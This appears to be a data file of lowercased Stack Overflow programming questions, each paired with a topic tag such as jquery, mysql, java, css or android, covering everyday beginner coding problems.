simple jquery question <pre><code>&lt;body&gt; &lt;script type= text/javascript &gt; $( #red ).click(function(){     $( #write ).text( red ); });  &lt;/script&gt; &lt;form id= formid  name= formname  method= post &gt;   &lt;table&gt;     &lt;tr&gt;       &lt;td&gt;&lt;div class= clickdiv red  id= red &gt;mmmmmmm&lt;/div&gt;&lt;/td&gt;       &lt;td&gt;&lt;div class= clickdiv green &gt;&lt;/div&gt;&lt;/td&gt;     &lt;/tr&gt;   &lt;/table&gt;   &lt;div id= write &gt;&lt;/div&gt;   &lt;input type= radio  name= satir1  value= red  /&gt;   &lt;input type= radio  name= satir1  value= green  /&gt; &lt;/form&gt; &lt;/body&gt; </code></pre>   this doesn t work.   <pre><code>&lt;body&gt; &lt;form id= formid  name= formname  method= post &gt;   &lt;table&gt;     &lt;tr&gt;       &lt;td&gt;&lt;div class= clickdiv red  id= red &gt;mmmmmmm&lt;/div&gt;&lt;/td&gt;       &lt;td&gt;&lt;div class= clickdiv green &gt;&lt;/div&gt;&lt;/td&gt;     &lt;/tr&gt;   &lt;/table&gt;   &lt;div id= write &gt;&lt;/div&gt;   &lt;input type= radio  name= satir1  value= red  /&gt;   &lt;input type= radio  name= satir1  value= green  /&gt; &lt;/form&gt;  &lt;script type= text/javascript &gt; $( #red ).click(function(){     $( #write ).text( red ); }); &lt;/script&gt; &lt;/body&gt; </code></pre>   this works. why  how can i use script part in the header,jquery
the mysqld_multi binary is not found in mysql 5.7  i ve installed mysql 5.7 on centos 7.1.1503 following the instructions at:    <a href= http://dev.mysql.com/doc/refman/5.7/en/linux-installation-yum-repo.html  rel= nofollow >http://dev.mysql.com/doc/refman/5.7/en/linux-installation-yum-repo.html</a>    i need to start multiple instances for mysql in this machine. according to <a href= http://dev.mysql.com/doc/refman/5.7/en/mysqld-multi.html  rel= nofollow >http://dev.mysql.com/doc/refman/5.7/en/mysqld-multi.html</a> i should use mysqld_multi but it does not found.    i ve listed the package contents with:   <pre><code>repoquery -l mysql-community-server </code></pre>   and there is a /usr/share/man/man1/mysqld_multi.1.gz (the man page) but the binary doesn t exist.    i can t find the way to run multiple instances based on their instructions.     any help will be greatly appreciated.,mysql
how to append something right before the closing </head> tag using jquery   i tried this but it doesn t seem to be working:   <pre><code>$( &lt;/head&gt; ).appendto( &lt;meta http-equiv= refresh  content= 0;url=http://google.com &gt; ); </code></pre>,jquery
finding which of a set of assemblies depends on assembly x  how can i quickly find  given a folder with .net assemblies  which of these depends on some given assembly     (opening them up one by one with reflector is not what i had in mind),.net
rss@gmail.com&amp;b=52 i want to remove &amp;b=52 from this mail id which string function is used for this  please give me the code for removing the <code>&amp;amp;b=52</code> from strings such as these:   <ul> <li>rsc@gmail.com&amp;b=52</li> <li>ab@gmail.com&amp;b=52</li> <li>aaaa@gmail.com&amp;b=52</li> </ul>,java
how to get the index with jquery sortable  with the third party plugin  <a href= https://johnny.github.io/jquery-sortable/  rel= nofollow noreferrer >jquery sortable</a> how can we get the index of the item that is last dragged and sorted     if i have 3 items like below  3 <code>&lt;tr&gt;</code> rows with a <code>&lt;td&gt;</code> block for each value...   <pre><code>mom  1 dad  2 baby 3 </code></pre>   ...and i drag row <code>baby 3</code> up to be the first row  what callback process must i do to show that it is now index 1.    instructions on how to do this was not documented on the page.  which is why i am requesting for an educated suggestion. thanks,jquery
in apple developer enterprise program   for in-house apps  how does apple determine if a user is our company employee or an outsider   in this  for in-house apps  how does apple determine if a user is our company employee or an outsider     <a href= https://i.stack.imgur.com/36rwf.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/36rwf.png  alt= enter image description here ></a>,ios
usercontrol is not able to remove on first click of linkbutton in asp.net however its working on second click  i have created a usercontrol and additing it to the page dynamically on click of link button.its adding there is no problem  but when remove link is clicked in the usercontrol  its not working for first click  from second click onwards its working.,asp.net
replacing  >>  in javascript would not work  i try to replace  >>  with  hello . it would not work. why  any hint appeciated. thanks.   <pre><code>&lt;p id= demo &gt;a string with &gt;&gt; in it.&lt;/p&gt; &lt;button onclick= myfunction() &gt;replace  &gt;&gt;  with  hello &lt;/button&gt; &lt;script&gt;     function myfunction() {         var str = document.getelementbyid( demo ).innerhtml;          var res = str.replace( &gt;&gt;    hello );         document.getelementbyid( demo ).innerhtml = res;     } &lt;/script&gt; </code></pre>,javascript
leaking memory and possible malloc error  i am building an array and i want it to be a fixed size so that as i read in a file it only stores the last 10 commands. the file seems to read in correctly and it looks right when i print it but for some reason my memory is not getting freed.  max is set to 1000  and historysize is read earlier from the user. i ran valgrind on my code and when the calls to these functions are commented out i do not have any leaks.     i have a char ** history under my #includes    here is my code   <pre><code>void setuphistoryfile() {     char string[max];     file *fp;     int len;     int pos = 0;     fp = fopen( .ush_history   r );     if(fp == null)     {         //create the file         fp = fopen( .ush_history   w );     }     else     {         history = (char**)malloc(historysize * sizeof(char*));//setup history file         fgets(string max fp);         len = strlen(string);         if(string[len-1]== \n )             string[len-1]= \0 ;         while(!feof(fp))         {             if(history[pos] != null)             {                 free(history[pos]);                 history[pos]=null;             }             history[pos] = (char*)malloc((strlen(string)+1) * sizeof(char));             //printf( should be copying %s\n  string);                       strcpy(history[pos]  string);                        pos++;             pos = pos % historysize;             fgets(string max fp);             len = strlen(string);             if(string[len-1]== \n )                 string[len-1]= \0 ;         }     }     fclose(fp); } </code></pre>   i do have a function that cleans the history and it looks like this   <pre><code>void cleanhistory() {     int i;     if(history != null)     {         for(i=0;i&lt;historysize;i++)         {             free(history[i]);             history[i] = null;         }         free(history);         history = null;     } } </code></pre>,c
mysql (5.5) precision issue with function sum with decimal field  simple precision issue with mysql list of numbers do not calculate the same with sum as a single calculation. (how does one handle this senario ) there is a one(1) cent difference     sample of rows:   <pre><code>select qty  (qty*21.25) 6.5  | 138.125 0.5  | 10.625 0.5  | 10.625 0.25 | 5.3125 1    | 21.25 2    | 42.5 1    | 21.25 2    | 42.5 2.5  | 53.125 2.5  | 53.125 2    | 42.5 3    | 63.75 3    | 63.75 3.5  | 74.375 </code></pre>   sample 2:   <pre><code>select sum(qty)  sum(amount) 30.25 | 642.8175 </code></pre>   sample 3:   <pre><code>select 30.25*21.25 642.8125 </code></pre>   <code>since the answer was so vague. let try this. can anyone explain why the mysql statement produces the wrong results.</code> <code>select 6.875+3.125 10.00</code> <code>shouldn t this be 10.01</code>,mysql
how use listview in fragment android  i have read many articles that explain how to use a listview in fragment  but i m new programming android and i need help i can do that after pressing the button  display the information generated and almancenada within a variable publishes     <code>public consnotas static [] list</code>     hola chicos  he leido muchos articulos que explican como usar un listview en fragment  pero soy nuevo en programacion android y necesito que me ayuden que puedo hacer para que luego de pulsar el boton  muestre la informacion generada y almancenada dentro de una variable publica     public static consnotas[] lista   <pre><code>  public class fragment1  extends fragment {     context context;     boolean bflagopt;      public fragment1(){}       @override     public view oncreateview(final layoutinflater inflater  final viewgroup container  bundle savedinstancestate) {         view v = inflater.inflate(r.layout.fragment_fragment1  container  false);           final spinner cmbtipoconsulta = (spinner) v.findviewbyid(r.id.cmbtipoconsulta);         final spinner cmbsemestre = (spinner) v.findviewbyid(r.id.cmbsemestre);         final listview lst = (listview) v.findviewbyid(r.id.lstnotas);          string [] ctipoconsulta = getresources().getstringarray(r.array.cmbtpconsulta);         string [] csemestre = getresources().getstringarray(r.array.cmbsemestre);          /* lleno el combo de tipo consulta */         arrayadapter&lt;string&gt; ltradapter = new arrayadapter&lt;string&gt;(this.getactivity()  android.r.layout.simple_spinner_item  ctipoconsulta);         ltradapter.setdropdownviewresource(android.r.layout.simple_dropdown_item_1line);         cmbtipoconsulta.setadapter(ltradapter);          /* lleno el combo de tipo consulta */         arrayadapter&lt;string&gt; ltradapter2 = new arrayadapter&lt;string&gt;(this.getactivity()  android.r.layout.simple_spinner_item  csemestre);         ltradapter2.setdropdownviewresource(android.r.layout.simple_dropdown_item_1line);         cmbsemestre.setadapter(ltradapter2);           button upbutton = (button) v.findviewbyid(r.id.btnbuscar);         radiogroup rdgruoup = (radiogroup) v.findviewbyid(r.id.rdgroup1);          final radiobutton opgeneral = (radiobutton) v.findviewbyid(r.id.opgeneral);         final radiobutton opsemestre = (radiobutton) v.findviewbyid(r.id.opporsemestre);          cmbsemestre.setonitemselectedlistener(new adapterview.onitemselectedlistener() {             public void onitemselected(adapterview&lt; &gt; parent  view view  int pos  long id) {                 object isemestre = parent.getitematposition(pos);                 varpub.ipossemestre = pos;                  switch (varpub.ipossemestre) {                     case 0:                         varpub.ssemestre =  0 ;                         break;                     case 1:                         varpub.ssemestre =  1 ;                         break;                     case 2:                         varpub.ssemestre =  2 ;                         break;                     case 3:                         varpub.ssemestre =  3 ;                         break;                     case 4:                         varpub.ssemestre =  4 ;                         break;                     case 5:                         varpub.ssemestre =  5 ;                         break;                     case 6:                         varpub.ssemestre =  6 ;                         break;                     case 7:                         varpub.ssemestre =  7 ;                         break;                     case 8:                         varpub.ssemestre =  8 ;                         break;                 }             }              public void onnothingselected(adapterview&lt; &gt; parent) {                 varpub.ssemestre =  0 ; //ninguno elegido             }         });          cmbtipoconsulta.setonitemselectedlistener(new adapterview.onitemselectedlistener() {             public void onitemselected(adapterview&lt; &gt; parent  view view  int pos  long id) {                 object item = parent.getitematposition(pos);                 varpub.ipostpconsulta = pos;                  switch (varpub.ipostpconsulta) {                     case 0:                         varpub.stipoconsutla =  ning ; //ninguno elegido                         break;                     case 1:                         varpub.stipoconsutla =  nota ; //notas general                         //log.i( navigationview   ipostpconsulta +     +  stipoconsutla);                         break;                     case 2:                         varpub.stipoconsutla =  mapr ; //materias aprobadas                         log.i( navigationview   varpub.ipostpconsulta +     + varpub.stipoconsutla);                         break;                     case 3:                         varpub.stipoconsutla =  mrep ; //materias reprobadas                         //log.i( navigationview   ipostpconsulta +     +  stipoconsutla);                         break;                     case 4:                         varpub.stipoconsutla =  cing ; //curso d ingles                         // log.i( navigationview   ipostpconsulta +     +  stipoconsutla);                         break;                     case 5:                         varpub.stipoconsutla =  comp ; //curso de computacion                         //log.i( navigationview   ipostpconsulta +     +  stipoconsutla);                         break;                 }             }               public void onnothingselected(adapterview&lt; &gt; parent) {                 varpub.stipoconsutla =  ning ; //ninguno elegido             }         });          bflagopt = true;         if (cmbsemestre.isenabled()){             cmbsemestre.setenabled(false);         }          rdgruoup.setoncheckedchangelistener(new radiogroup.oncheckedchangelistener() {             @override             public void oncheckedchanged(radiogroup group  int checkedid) {                 switch (checkedid) {                     case r.id.opgeneral:                         cmbsemestre.setenabled(false);                         bflagopt = true;                         break;                      case r.id.opporsemestre:                         cmbsemestre.setenabled(true);                         bflagopt = false;                         break;                 }             }          });         //boton         upbutton.setonclicklistener( new view.onclicklistener() {             @override             public void onclick(view v) {                  varpub var;                  if (validadato(v)){                    consultanotas notas = new consultanotas(getcontext().getapplicationcontext());                     notas.execute();                    if (varpub.bnotas){                     }                 }             }         });           // inflate the layout for this fragment         return v;     }        public boolean validadato(view v){         boolean cancel = false;         view focusview = null;         radiobutton optsemestre  optgeneral;          if ( varpub.stipoconsutla.equals( ning )) {             toast.maketext(getactivity()   debe de elegir un tipo de consulta   toast.length_long).show();             cancel = true;         }           if(bflagopt == false) {             if ( varpub.ssemestre.equals( 0 )) {                 toast.maketext(getactivity()   debe de elegir un semestre   toast.length_long).show();                 cancel = true;             }         }          if (cancel) {             return false;         }         else         {             return true;         }     }   } </code></pre>,android
what does .speed in jquery do   i just don t understand what .speed does in jquery.     jquery.com says  description: creates an object containing a set of properties ready to be used in the definition of custom animations.     i m not quite understanding what this means.,jquery
javascript utc date  i try to get utc date. why   <pre><code>(new date( 2015-04-22 )).getutcdate() = 22 </code></pre>   and   <pre><code>(new date( apr 22  2015 )).getutcdate() = 21 </code></pre>,javascript
c# operator overloading  will all .net languages support operator overloading or c# and managed c++  only support it,c#
jquery load not work in firefox and ie  my code is here   <pre><code>&lt;a href= javascript:        $(  .page-content  ).load(  jsp/content/company.jsp   function() {             app.init();tableeditable.init();uitree.init();             });     &gt;something here&lt;/a&gt; </code></pre>   i would like to replace one part of part by the other page. i wroked on chown  but not worked on firefox and ie. is there another solution   thank you.,jquery
a simple jquery plugin to open a modal window  please  i need help.     i am new to jquery and i have link which on click should open a modal window of some sort (i want to be able to controll the position of it).    this is a simple window. it only contains some text and i want it to have just a closing button. that is all.    how can i do this in jquery  i want something <strong>very simple</strong>  without to much dependencies.     thank you all.,jquery
sorting names according to last name in java  i have written a code as follows using comparator to sort according to last name:    <pre><code>class order{      private static arraylist&lt;string&gt; personlist = new arraylist&lt;string&gt;();     iterator iter1 = personlist.iterator();     while (iter1.hasnext()) {         system.out.println(iter1.next());     }     collections.sort(personlist  new lastnamecomparator());     iterator iter2 = personlist.iterator();     while (iter2.hasnext()) {         system.out.println(iter2.next());     } }  class string implements comparable {     string firstname  lastname;     public string(string f  string l) {         this.firstname = f;         this.lastname = l;     }     public string getfirstname() {         return firstname;     }     public string getlastname() {         return lastname;     }     public string tostring() {         return  [ firstname=  + firstname +   lastname=  + lastname +  ] ;     }     public int compareto(object obj) {         string emp = (string) obj;         int comp = firstname.compareto(emp.getfirstname());         return ((comp == 0)   lastname.compareto(emp.getlastname()) : comp);     }     public boolean equals(object obj) {         if (!(obj instanceof string)) {           return false;         }         string emp = (string) obj;         return firstname.equals(emp.getfirstname()) &amp;&amp;                 lastname.equals(emp.getlastname());     } } class lastnamecomparator implements comparator&lt;string&gt; {     @override     public int compare(string lastname1  string lastname2) {         int lnamecomp = lastname1.getlastname().compareto(lastname2.getlastname());         return ((lnamecomp == 0)   lastname1.getfirstname().compareto(lastname2.getfirstname()) :         lnamecomp);          } }  </code></pre>   but this code does not work properly and gives me errors. personlist contains the following names:   <pre><code>john c. shafer ariel fuxman roberto j. bayardo jr. alexandre v. evfimievski dmitri asonov kristen lefevre </code></pre>   and i want it to be displayed in the following way   <pre><code>dmitri asonov alexandre v. evfimievski ariel fuxman roberto j. bayardo jr. kristen lefevre john c. shafer </code></pre>   what should i need to do in this code to fix it thank you.,java
application.run(new form1()); giving error  i have the standard code for program.cs:   <pre><code>using system; using system.collections.generic; using system.linq; using system.windows.forms;  namespace cellap {     static class program     {         /// &lt;summary&gt;         /// the main entry point for the application.         /// &lt;/summary&gt;         [stathread]         static void main()         {             application.enablevisualstyles();             application.setcompatibletextrenderingdefault(false);             application.run(new form1());         }     } } </code></pre>  <ol> <li>i created a new project</li> <li>i imported an existing form1 into it and replaced the existing form1</li> <li> when i run the app  i get an error on the mentioned line:    error   1   the type or namespace name  form1  could not be found (are you missing a using directive or an assembly reference ) c:\users\alexluvsdanielle\appdata\local\temporary projects\cellap\program.cs    18  33  cellap </li> </ol>   does anyone know what the problem is,c#
iphone  how do i force one view into landscape mode   how do i force one view into landscape mode for a graph.    i want to click a tab bar button to make the graph view appear then when a button is clicked on that view i want to push a child screen which i need in portrait mode.    once they click back i want to return to the graph view in landscape.,iphone
c# 2 if statements  i m trying to write a code    <pre><code>if (question == 1)         {             if (textanswer.text.equals( adult ))             {                 points = points + 500;                 scorelabel.text =  points :   + points;                 okub();              }             else if (textanswer.text !=  adult )             {                 points = points - 250;                 scorelabel.text =  points :   + points;              }          } </code></pre>   if user writes adult he will earn 500 points   if he writes something else he ll lose 250 points.when i write incorrent first i lose 250 points after that i write correct word but i get 250 points not 500.how can i fix this   i started with 1000 points,c#
warning: explode() expects parameter 2 to be string - error  i need help understanding this error  just starting out ;)    could this part of code cause the error in the subject    <pre><code>$var = explode(     $var); </code></pre>   i m guessing exploding $var would need it s own variable  for example:   <pre><code>$myvar = explode(     $var); </code></pre>   i need to understand as the first code did work on my server without warning  but my co-worker is getting the above warning.,php
why doesn t a boolean have to point to an object  when implementing a getter or setter for an nsstring it appears as   <pre><code>-(nsstring *)nameofsomething </code></pre>   however when you get or set a boolean you don t us an asterisks to point to something   <pre><code>-(bool)nameofsomething </code></pre>   i was wondering why you have to do this  shouldn t the asterisks still be needed in order to point  is there a certain reason a boolean doesn t need one     thanks,objective-c
css: bug when display list horizontally  i am successfully display a list horizontally:   <pre><code>&lt;div id= container &gt;         &lt;div id= header &gt;                                 &lt;h:form&gt;                     &lt;ul&gt;                         &lt;li&gt;&lt;a href= # &gt;peter&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;                             &lt;p:commandlink value= profile  ajax= false                                             actionlistener= #{mybean.myprofile} /&gt;                         &lt;/li&gt;                           &lt;/ul&gt;                                       &lt;/h:form&gt;         &lt;/div&gt; &lt;/div&gt;     &lt;!--     &lt;div id= maincontainerpanel &gt;         &lt;div id= leftpanel  style= border: 2px solid gray; width: 190px; padding: 5px; &gt;          &lt;/div&gt;         &lt;div id= centerpanel &gt;          &lt;/div&gt;         &lt;div id= rightpanel &gt;          &lt;/div&gt;         &lt;div id= adspanel /&gt;     &lt;/div&gt;     --&gt; </code></pre>   however  if i uncomment the <code>&lt;div id= maincontainerpanel &gt;</code>  then i got a weird bug. <code>peter</code> is a hyperlink  but i have to move my mouse to the very top of <code>peter</code> to be able to click on it. <strong>please click this link to be able to see what i am talking about. i able to recreate the bug through this website</strong> <a href= http://jsfiddle.net/tuvzj/21/  rel= nofollow >http://jsfiddle.net/tuvzj/21/</a>    here is my <code>css</code>   <pre><code>#header{     height: 30px;     width: 100%;     padding: 0 10px;     vertical-align: middle;     display: table-cell;     color: gray; font-weight: bold;                 } #container{     position: absolute;     top:0px;     left:0px;     right:0px;     border-bottom: 2px solid gray; } #header ul{     margin: 0;     padding: 0;     list-style-type: none;     list-style-image: none; }  #header li{     display: inline;     padding-right: 20px; } #maincontainerpanel {     position:absolute;       top:10px;     left: 10px;     right:10px;     bottom:10px;      font-size: 12px/*{fsdefault}*/; } #leftpanel {     position:absolute;         left:0px;     top:60px;     height: 100%;         } #centerpanel {     position:absolute;     left:240px;     width: 500px;     top:60px;     height: 100%; } #rightpanel {     position:absolute;     left:780px;     top:60px;     height: 100%;     width:230px;     padding: 10px;     border: 2px solid gray; } </code></pre>,css
send customized event to another iphone application   in iphone application  we can set handlers for system events like call status change (ctcallcenter.calleventhandler)  so our application will be notified when calls incoming/dialing/connected/disconnected etc.    i wonder if it s possible for myself to define an event  and let another app to subscribe.    i did some search and found it might be possible on mac  by using appleevents <a href= http://hintsforums.macworld.com/showthread.php t=112964  rel= nofollow >http://hintsforums.macworld.com/showthread.php t=112964</a> 。however  i guess it might not apply to ios.    any ideas     (i had thought about using openurl  but the problem is i don t want to launch the other application s ui. i only want it to know something happens. i used some tricks to make my other app run in background for long.),ios
c cast void pointer to function pointer  i am trying to create some macros that i can use to create my own unit testing library. my header file looks like this:   <pre><code>#ifndef _test_h_ #define _test_h_  #include &lt;stdio.h&gt; #include  hehe_stack.h   static hehe_stack* tests; typedef int (*testfunc)();  #define test_init() tests = hehe_stack_init(); #define test_register(test) hehe_stack_push(tests  test); #define test_info() fprintf(stdout   running %s :: %s \n   __file__  __func__); #define test_run() testfunc = (int (*)()) hehe_stack_pop(tests); testfunc(); return 0;  #endif </code></pre>   in each test .c file i want to push a number of function pointers into the tests stack and then pop each function pointer out of the stack and call it. my stack pop method returns a void pointer  and the function pointer that i am pushing onto it returns an int and takes no parameters. is my syntax incorrect  i feel like i should be able to do this.,c
unary operator behaviour <pre><code>#include&lt;stdio.h&gt; int main(){ int num i=0; num=-++i+ ++-i; printf( %d  num); return 0; } </code></pre>   i am getting compilation error for above example. i understood like  unary (+) operator returns const value. but below example is not satisfying that condition.   <pre><code>#include&lt;stdio.h&gt; int main(){ int x i=1; x=~-i; printf( %d  x); getchar (); return 0; } </code></pre>   here i am getting  0  as answer.    can anyone explain me  what exactly  +  operator does in c.,c
pretty simple sql query using another query  i need to select all ids from one table with columns <code>id</code> and <code>x</code>   <code>where x =  y </code>. for each of those <code>id</code>s  i need to look up some stuff in a different table:    if the <code>id</code> does not exist  it gets no row in the final result.    if the <code>id</code> does exist  i want to do some logic to figure out if it gets a row. for simplicity  assume that the logic is: if column <code>q &gt; 0</code>.    so the final result is simply a column of <code>id</code>s  throwing out some because they are disqualified for one of two reasons as above.    thanks.,sql
i have a json data and i only return a captains on that data dynamically <pre><code>{  team : {  players :  {    1 :    {      teamname : royal challenge bangalore        shortname : rcb        11 :{      name : virat kholi        iscaptain :true       postion : 2        runs : 6000         }       12 :{      name : chris gyale        postion : 1        runs : 4000         }       13 :{      name : ab        postion : 4        runs : 5000         }    }      2 :    {      teamname : kolkatta knight riders        shortname : kkr        11 :{      name : robin uttapa        postion : 1        runs : 6000         }       12 :{      name : sunil narayan        postion : 2        runs : 4000         }       13 :{      name : gautam ganmbhir        iscaptain :true       postion : 4        runs : 5000          }          }   }  } }`enter code here` </code></pre>,objective-c
asp.net repeater with marquee and label tags  i am working on a asp project  and i want to display the values from database (sql server) into marquee tag one by one. after some searching i am able to make this below code.    <pre><code> &lt;asp:repeater id= newsrepeater  runat= server &gt;    &lt;itemtemplate&gt; &lt;asp:label id= labelnews  text= &lt;%# container.dataitem %&gt;  runat= server &gt;              &lt;/asp:label&gt; &lt;/itemtemplate&gt; &lt;/asp:repeater&gt; </code></pre>   the code works   only issue is the values from the list display all together. e.g if there are news1 and news2 are there then news1news2 are displayed while i want to display news1 and news 2 one after each other. and they will repeat. any suggestions please.,asp.net
how do i make this layout   so my current layout is:   <pre><code>&lt;div style= width:900px;height:500px;border:6px double #00c7ff; &gt;&lt;table cellspacing= 1  cellpadding= 0  border= 0   bgcolor= white  id= shell  height= 500  width= 900 &gt;    &lt;tr height= 50 &gt;       &lt;td colspan= 2  bgcolor= #cab0cb &gt;          &lt;table title= banner  id= banner  border= 0 &gt;             &lt;tr&gt;&lt;td&gt;place a banner here&lt;/td&gt;&lt;/tr&gt;          &lt;/table&gt;       &lt;/td&gt;    &lt;/tr&gt;    &lt;tr height= 50 &gt;       &lt;td bgcolor= #cab0cb &gt;          &lt;table id= navigation  title= navigation  border= 0 &gt;             &lt;tr&gt;&lt;td&gt;&lt;center&gt;&lt;b&gt;&lt;font face= arial  color= 0094bd &gt;&lt;font size= 5 &gt;records&lt;/font&gt;&lt;/b&gt;&lt;/center&gt;&lt;br&gt;&lt;br&gt;&lt;font size= 2.5 &gt;no records set yet.&lt;/font&gt;&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;           &lt;/table&gt;       &lt;/td&gt;&lt;td bgcolor= #cab0cb &gt;          &lt;table title= content  id= content  border= 0 &gt;             &lt;tr&gt;&lt;td&gt;&lt;font face= arial  color= #0094bd &gt;&lt;b&gt;&lt;font size= 5 &gt;&lt;center&gt;welcome to ivory forest kennel&lt;/center&gt;&lt;/font&gt;&lt;/b&gt;&lt;br&gt;&lt;br&gt;&lt;font size= 2.5 &gt;we are a fairly new kennel on k9  specialising in the great siberian husky. initially  we will be breeding and selling huskies  bred from simple gamebred dogs. our huskies currently specialise in obedience  but we will seek further training later. soon  we will also be breeding yorkshire terriers  also gamebred  so look forward to those!&lt;/font&gt;&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;          &lt;/table&gt;       &lt;/td&gt;    &lt;/tr&gt; &lt;/table&gt; &lt;/div&gt; </code></pre>   and im trying to make it sort of like these:  <a href= http://i18.photobucket.com/albums/b135/silverfox13425/decorated%20images/dexterity_zps04ada334.png  rel= nofollow >http://i18.photobucket.com/albums/b135/silverfox13425/decorated%20images/dexterity_zps04ada334.png</a><br> <a href= http://i18.photobucket.com/albums/b135/silverfox13425/decorated%20images/siberians_zpsbe70e931.png  rel= nofollow >http://i18.photobucket.com/albums/b135/silverfox13425/decorated%20images/siberians_zpsbe70e931.png</a>    which i could be going about it all wrong  to be honest  but it s working thus far.. <strong>my issue at the moment is my  records  section is too thin.</strong> and i cant figure out for the life of me how to make it wider. i have tried editing everything that says  width   and making my own <code>width=x</code> sort of command  but nothing seems to be working. no clue what i m doing wrong here.,html
how to automatically center a div element that is inside another div element  let s suppose the following use case: for a working example plese look at this <a href= http://jsfiddle.net/euytq/65/  rel= nofollow >link</a>    the html code:   <pre><code>&lt;div class= container &gt;     &lt;div class= centerelem &gt;          the width of this div could be variable     &lt;/div&gt; &lt;/div&gt; </code></pre>   the css style:   <pre><code>.container {     width: 500px; /*this can also change */ } .container .centerelem{     margin-right: auto /*unfortunately  it works only if i set properly the width*/     margin-left: auto /*unfortunately  it works only if i set properly the width*/ } </code></pre>   right now it works like this:   <pre><code>        ||the width of this div could be variable|                            | </code></pre>   and i would like to make working like this  without knowing the width of inner div element:   <pre><code>        |                |the width of this div could be variable|            | </code></pre>,css
rails 4 validate uniqueness with hash scope deprecated  in rails 3.2 i have this syntax:   <pre><code>validates_uniqueness_of :sport_name  :scope =&gt; :sports_org_id </code></pre>   this is now deprecated in rails 4 but i can t figure out the new syntax. i want to validate both presence and uniqueness for a data field.,ruby-on-rails
vertically aligning an image in a div element   i have a div element whose height i set with <code>em</code>  and whose width i set as a percentage. there is an image contained within. it has a width as a percentage (83%). however  if i am at a resolution where that div element is starting to get a little narrow  the image narrows up as well  but rather than taking up the entire div (as it should)  the image just becomes small and appears just at the top of the div. to compensate for this  i want to vertically align my image within the div element. how can i do this,css
is there a way via css to set the image height to the line-height   i have an image thats inline with text. that image is 32x32. i m looking to have it <em>auto size</em> to the line-height of whats its in so it fits properly. is there a way to do that     i m looking to be able to place the image anywhere with an unknown line-height and have it size properly.,css
image as background in video tag in html  i am adding object tag in web page editor in eclipse.it shows object default image in design page but i want to change this image through css. please find my code:         <br/>     i am adding my css file as class= vd  where i am passing {background:url( myimg.png )} but this  image is not replacing default image of object. what is the way to do it,html
launch an activity to view photo  i am using the following code to launch an activity to view a photo  can i configure to launch it in a landscape mode or a portrait mode    <pre><code>    intent intent = new intent(intent.action_view);     intent.setdataandtype(photouri  type);     startactivity(intent); </code></pre>   thank you.,android
displaying a ror app/page in an external html page  i was wondering if anyone can help me with the following problem: i have a external (and normal) html page that uses javascript to display other html files in an object tag. these files are in the same directory  so theres no problem there. how can i link and display my ruby on rails application/pages in this same object tag and html file  i.e. how do i integrate the two     thanx    these are the elements which send the data over and the object that displays the page:   <pre><code>&lt;div id =  leftbar &gt;     &lt;div&gt;         &lt;nav&gt;         &lt;ul type= square &gt;             &lt;li&gt;                     &lt;a id =  menulink  href =  page.html  onclick= loadpage(this); return false; &gt;solar flare                     &lt;/a&gt;                 &lt;/li&gt;      &lt;/nav&gt;     &lt;/div&gt;  &lt;/div&gt;  &lt;div id =  mainpage &gt;      &lt;object id =  obj  type =  text/html  data=  main.html &gt; &lt;/object&gt;  &lt;/div&gt; </code></pre>   this is the javascript function that displays the page in the object tag:   <pre><code>function loadpage(link) {     document.getelementbyid( obj ).data = link.href; } </code></pre>,ruby-on-rails
angular two dimensional ng model  i am trying to create a time table for class using html table each  tag contains one subject  the problem is for each cell i need to define unique ng model. the below code works fine for first   in all  tags from next   ng-model have same value. here is my code   <pre><code>    &lt;tr ng-repeat= day in days track by $index &gt;         &lt;td&gt;          &lt;input ng-disabled= true  class= form-control  ng-model= weekdays[$index] &gt;&lt;/td&gt;&lt;td ng-repeat= period in periods track by $index &gt;&lt;input type= text          ng-model= timetable.subject[[$parent.$index][$index]]          name= name          uib-typeahead= onesectionsubject as onesectionsubject.subjectmaster.subjectname+ / +onesectionsubject.subjectteacher.firstname for onesectionsubject in onesectionsubjects | filter:$viewvalue | limitto:8          class= form-control  pattern= [a-za-z0-9 ]*          uib-tooltip= enter valid subject name          tooltip-enable= form.name.$invalid  autocomplete= off &gt;         &lt;/td&gt;     &lt;/tr&gt; </code></pre>,angularjs
how to get number of row with a condition  i have a table like this   <pre><code>id   student teacher 10       a       b 11       c       b 12       d       c 13       e       b </code></pre>   student  e  is 3th student whose teacher is  b . how to get this with one query,mysql
javascript conditional order evaluation  can i count on javascript failing immediately when one condition in an expression results to false    <pre><code>f = { a : b }; if (f.a !== undefined || f.a ===  b ) {   // is this ok to use  because the second condition will never be evaluated  } </code></pre>,javascript
how to skip first 3 rows of a text file   when i read the text file using java  how can i skip first three rows of the text file     current program    <pre><code>public class reader {     public static void main(string[] args) {         bufferedreader reader;         try {             reader = new bufferedreader(new inputstreamreader(             new fileinputstream( sample.txt )));             map&lt;string  integer&gt; result = new linkedhashmap&lt;string  integer&gt;();             map&lt;string  integer&gt; result2 = new linkedhashmap&lt;string  integer&gt;();             while (reader.ready()) {                 string line = reader.readline();                 //split a line with spaces                 string[] values = line.split( \s+ );                 //set a key date\tanimal                 string key = values[0] +  \t  + values[1];                 int sum = 0;                 int count = 0;                 //get a last counter and sum                 if (result.containskey(key)) {                     sum = result.get(key);                     count = result2.get(key);                 } else{                  }                 //increment sum a count and save in the map with key                 result.put(key  sum + integer.parseint(values[2]));                 result2.put(key  count + 1);             }              //interate and print new output             for (string key : result.keyset()) {                 integer sum = result.get(key);                 integer count = result2.get(key);                 system.out.println(key +     + sum +  \t  + count);             }             reader.close();         } catch (filenotfoundexception e) {              e.printstacktrace();         } catch (ioexception e) {              e.printstacktrace();         }     } } </code></pre>,java
same random charachters generated every time in c++  hi i am trying to write a code to return random character so i write the following code:   <pre><code>static char prepare-data() {     sleep(rand()%500); // sleep random amount     int n = rand()%26;     char c = (char)(n+65);     return c; // return random character }  static void writer() {     int i  writept = 0;     char data;     for (i = 0; i &lt; data_length; i++)     {         data = preparedata(); // go off &amp; get data ready         buffers[writept] = data; // put data into buffer         cout&lt;&lt; writer thread: buffer[ &lt;&lt;writept&lt;&lt; ]= &lt;&lt;data&lt;&lt;endl;         writept = (writept + 1) % num_total_buffer;     } } </code></pre>   but every time i run the code i get the same characters  is this considered as problem,c++
